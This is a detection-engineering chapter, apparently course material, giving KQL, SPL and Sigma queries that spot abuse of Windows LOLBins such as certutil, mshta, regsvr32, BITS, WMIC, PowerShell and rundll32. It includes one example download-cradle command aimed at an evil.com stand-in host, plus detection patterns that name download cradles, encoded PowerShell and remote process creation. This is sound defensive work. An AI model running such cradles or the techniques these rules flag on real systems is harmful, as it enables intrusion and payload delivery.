Detection Queries
Strategy without syntax is incomplete. This chapter delivers production-ready KQL, SPL, and Sigma queries for the most commonly abused LOLBins -- certutil, mshta, regsvr32, BITS, WMIC, PowerShell, rundll32, and installutil. Each query includes tuning notes and the suppression conditions you will need before deploying to production.
Query Foundations
Effective LOLBin queries share one hard requirement: full CommandLine logging. Without it, you can detect that certutil ran but not whether it ran -hashfile or -urlcache -f http://evil.com/p.exe. CommandLine is what separates benign from malicious. Verify that Sysmon EID 1 is logging CommandLine in your environment -- or that your EDR DeviceProcessEvents table is populated -- before deploying any query in this chapter.
Every query in this chapter follows the same structural logic: filter by image or filename, then filter by CommandLine pattern, then add context (parent process, account), then project the fields that matter, then order by timestamp descending.
| Format | Primary Platform | Notes |
|---|---|---|
| KQL DeviceProcessEvents | MDE / Sentinel with MDE connector | Highest fidelity; native EDR telemetry |
| KQL SecurityEvent | Sentinel with Sysmon forwarding | Requires Sysmon deployed and events forwarded |
| SPL | Splunk with Sysmon index | Adapt index name to your environment |
| Sigma | Vendor-neutral | Convert to any platform via sigma-cli |
All queries start broad. Add suppression conditions incrementally as legitimate patterns are identified in your environment. A query producing zero results either has no matching activity or is over-suppressed. A query with zero false positives after week one is worth auditing -- the most common reason is an overly narrow pattern missing real variants.
certutil.exe Detection Queries
Three queries covering the three primary certutil abuse scenarios: direct download cradle, network-correlated cradle (highest confidence), and encode/decode obfuscation.
// certutil download cradle -- MDE DeviceProcessEvents
DeviceProcessEvents
| where FileName =~ "certutil.exe"
| where ProcessCommandLine has_any ("-urlcache", "-decode", "-encode")
or ProcessCommandLine has "http"
| extend ParentProcess = InitiatingProcessFileName
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, ParentProcess
| order by Timestamp desc
// certutil with network correlation -- Sentinel + Sysmon (EID 1 + EID 3 join)
let certutil_spawn = SecurityEvent
| where EventID == 1 and CommandLine contains "certutil"
| project TimeGenerated, Computer, ProcessId, CommandLine, ParentProcessName;
let certutil_net = SecurityEvent
| where EventID == 3 and Image endswith "certutil.exe"
| project TimeGenerated, Computer, ProcessId, DestinationHostname, DestinationIp;
certutil_spawn
| join kind=inner certutil_net on Computer, ProcessId
| where TimeGenerated1 between (TimeGenerated .. (TimeGenerated + 30s))
| where DestinationHostname !endswith "microsoft.com"
and DestinationHostname !endswith "windows.com"
| project TimeGenerated, Computer, CommandLine, DestinationHostname, DestinationIp
title: Certutil Encoding or Decoding Files
id: 2c499245-9b85-4d6c-a0f3-c24f5f30ff62
status: test
description: certutil used to encode or decode files, commonly used to obfuscate payloads
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\certutil.exe'
CommandLine|contains:
- '-encode'
- '-decode'
- '-urlcache'
condition: selection
falsepositives:
- PKI operations (rare on workstations)
level: high
tags:
- attack.command_and_control
- attack.t1105
Tuning note: add NOT conditions for known-good parents (TrustedInstaller, msiexec during install windows) and known-good destinations (crl.microsoft.com, ocsp.digicert.com, ctldl.windowsupdate.com) before deploying to production alerting. The network correlation query is already scoped to non-Microsoft destinations.
mshta.exe and regsvr32.exe Queries
mshta queries target URL-based invocation and suspicious child process spawning. regsvr32 queries target the Squiblydoo technique where a remote COM scriptlet is loaded via scrobj.dll.
// mshta with URL argument -- MDE DeviceProcessEvents
DeviceProcessEvents
| where FileName =~ "mshta.exe"
| where ProcessCommandLine has "http://" or ProcessCommandLine has "https://"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| order by Timestamp desc
title: MSHTA Spawning Suspicious Child Process
id: a8be5f60-5dc6-4862-8a2c-b43f5b7b0e85
status: test
description: mshta.exe spawning cmd, powershell, wscript, cscript, or regsvr32
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\mshta.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\regsvr32.exe'
condition: selection
level: high
tags:
- attack.execution
- attack.t1218.005
// regsvr32 Squiblydoo -- MDE DeviceProcessEvents
DeviceProcessEvents
| where FileName =~ "regsvr32.exe"
| where ProcessCommandLine has "http"
and ProcessCommandLine has_any ("/s", "/u", "/i")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| order by Timestamp desc
title: Regsvr32 Loading Remote COM Scriptlet (Squiblydoo)
id: c3de0ae6-3f48-4c31-8c59-7db0ac30c70f
status: test
description: regsvr32 with /i and a URL -- Squiblydoo AppLocker bypass via scrobj.dll
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\regsvr32.exe'
CommandLine|contains: 'http'
CommandLine|contains:
- '/i:'
- '/i '
condition: selection
level: critical
tags:
- attack.defense_evasion
- attack.t1218.010
BITS and WMIC Queries
BITS queries cover bitsadmin command-line transfers and the BITS operational event log (EID 59/60), which captures transfers even when process-level telemetry is unavailable. WMIC queries target remote process creation, the primary lateral movement use case.
// bitsadmin transfer to non-Microsoft destination -- Splunk Sysmon index
index=sysmon EventCode=1 Image="*\\bitsadmin.exe"
| where match(CommandLine, "(?i)/transfer|/addfile")
| eval dest=mvindex(split(CommandLine, " "), -1)
| where NOT match(dest, "(?i)microsoft\.com|windows\.com|windowsupdate|wsus")
| table _time, ComputerName, User, CommandLine, dest
| sort -_time
// BITS operational event log -- non-Microsoft transfer URL
// Requires Microsoft-Windows-Bits-Client event forwarding
Event
| where Source == "Microsoft-Windows-Bits-Client" and EventID in (59, 60)
| extend url = extract(@"https?://[^\s]+", 0, RenderedDescription)
| where url !contains "microsoft.com" and url !contains "windows.com"
| project TimeGenerated, Computer, EventID, url
| order by TimeGenerated desc
// WMIC remote process creation -- MDE DeviceProcessEvents
DeviceProcessEvents
| where FileName =~ "wmic.exe"
| where ProcessCommandLine has "/node:"
and ProcessCommandLine has "process"
and ProcessCommandLine has_any ("call create", "call Create")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
| order by Timestamp desc
title: WMIC Remote Process Creation
id: d72a2a52-9f8a-4a5e-b12e-0e7b83f4c5c1
status: test
description: wmic.exe targeting a remote host for process execution
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\wmic.exe'
CommandLine|contains: '/node:'
filter:
CommandLine|contains: '/node:localhost'
condition: selection and not filter
level: high
tags:
- attack.lateral_movement
- attack.t1047
PowerShell LOLScript Queries
Four queries targeting the four highest-value PowerShell abuse patterns: encoded commands, download cradles, hidden-window execution, and Office-spawned PowerShell. The Office spawn query requires no CommandLine filtering -- the parent-child relationship alone is sufficient for alerting.
// PowerShell encoded command (all abbreviation forms) -- MDE DeviceProcessEvents
DeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has_any ("-enc ", "-EncodedCommand ", "-e ")
| where strlen(ProcessCommandLine) > 200
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| order by Timestamp desc
// PowerShell download cradle patterns -- MDE DeviceProcessEvents
DeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has_any (
"iex",
"Invoke-Expression",
"DownloadString",
"DownloadFile",
"WebClient",
"Net.WebClient",
"BitsTransfer")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| order by Timestamp desc
title: PowerShell Hidden Window with NoProfile
id: 8e55e71c-6bfd-4b28-8013-2b02f9e8c2ba
status: test
description: PowerShell with hidden window and NoProfile -- common loader pattern
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
CommandLine|contains|all:
- '-nop'
- 'hidden'
condition: selection
level: medium
tags:
- attack.execution
- attack.t1059.001
// Office application spawning PowerShell -- MDE DeviceProcessEvents
// No CommandLine filter needed; the parent-child pair is the alert condition
DeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where InitiatingProcessFileName in~ (
"winword.exe",
"excel.exe",
"powerpnt.exe",
"outlook.exe",
"onenote.exe",
"mspub.exe")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| order by Timestamp desc
rundll32.exe and installutil.exe Queries
rundll32 queries filter by DLL path location rather than binary name, since rundll32 itself runs constantly for legitimate COM operations. installutil queries can afford to be broad -- any execution not loading from System32 or a known installer path warrants review.
// rundll32 loading from user-writable path or executing JavaScript
DeviceProcessEvents
| where FileName =~ "rundll32.exe"
| where ProcessCommandLine matches regex @"(?i)[A-Z]:\\Users\\|%[Tt]emp%|%[Aa]pp[Dd]ata%"
or ProcessCommandLine has "javascript:"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| order by Timestamp desc
title: Rundll32 JavaScript Execution
id: f2f39d15-a3a4-4b8e-9f35-7c9e8e1e5b2f
status: test
description: rundll32.exe executing JavaScript -- used to bypass AppLocker and run unsigned code
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\rundll32.exe'
CommandLine|contains: 'javascript:'
condition: selection
level: high
tags:
- attack.defense_evasion
- attack.t1218.011
// installutil loading assembly outside system directories
DeviceProcessEvents
| where FileName =~ "installutil.exe"
| where ProcessCommandLine !contains "System32"
and ProcessCommandLine !contains "SysWOW64"
and ProcessCommandLine !contains "Program Files"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| order by Timestamp desc
Building and Maintaining Your Query Library
Individual queries become a library when they are organized, tested, and maintained. The naming convention establishes the index: LOLBIN-CERTUTIL-DOWNLOAD-CRADLE, LOLBIN-MSHTA-CHILD-PROCESS. Each name encodes the binary, the technique, and the specific behavior. Sorting by name then groups all certutil rules together, all mshta rules together, and so on.
Each query record should carry: the ATT&CK technique tag, the platform it targets, a confidence rating (high / medium / low), the last test date, and a false positive register documenting every suppressed pattern with a business justification. That last item prevents future analysts from removing suppressions that exist for a reason.
QUERYBASE at h3ad-sec.github.io/QUERYBASE/ stores KQL, Sigma, and XQL queries organized by ATT&CK technique -- the natural home for LOLBin queries built from this chapter. TRACERULES at h3ad-sec.github.io/TRACERULES/ provides an ATT&CK-organized detection arsenal including T1218 coverage. Use both as a starting point before authoring net-new rules -- the query may already exist in a tested form.
Testing with Atomic Red Team provides controlled ground truth. Run the relevant T1218 test case in an isolated lab, verify the query fires, and document the result in the query record. "Fires on Atomic T1218.001 test 2 as of 2026-06-10" is meaningful. "Tested" with no date and no test case is not.
Deployment mode matters for prioritization. Run certutil network correlation and mshta child process queries as real-time alerts with immediate notification. Run broad certutil and wscript execution queries as weekly retrospective hunts with lower thresholds and analyst review rather than automated escalation. The same query syntax can serve both modes -- the difference is schedule and severity.
Maintenance cadence: quarterly review of the LOLBAS Project (lolbas-project.github.io) for new entries. Each new entry in the catalog is a detection candidate. Coverage gaps compound over time if the library is not actively extended to match what attackers are actively using.
Key Takeaways
- KQL DeviceProcessEvents (MDE) provides highest-fidelity LOLBin detection for Microsoft environments. Sigma provides portability across platforms via sigma-cli.
- certutil queries with network correlation (EID 1 + EID 3 join) achieve near-zero false positive rate on workstations when filtering for non-Microsoft destinations.
- mshta.exe spawning powershell.exe or cmd.exe is critical severity in virtually all production environments. The parent-child pair alone is sufficient to alert.
- regsvr32 Squiblydoo detection requires both the /i parameter and a URL in CommandLine. Matching the binary name alone fires on every software install.
- WMIC /node: with process call create is lateral movement. Detection here catches post-compromise movement using valid credentials -- a phase often missed by endpoint-only detections.
- PowerShell -enc flag abbreviations (-e, -en, -enc, -EncodedCommand) must all be in the pattern. Matching only -EncodedCommand misses the most common abbreviated forms used in loaders.
- Query libraries require quarterly maintenance. New LOLBins are added to the LOLBAS Project regularly. Coverage gaps compound over time if not actively managed.
Knowledge Check
Click an answer to reveal the explanation.
A KQL query fires on every certutil.exe execution across 500 workstations. 99% of results are a WSUS relay running certutil to download updates. What is the correct response?
Which Sigma field combination best captures regsvr32 Squiblydoo without excessive false positives from normal COM registration?
What advantage does Sigma format provide over platform-specific KQL or SPL for LOLBin detection?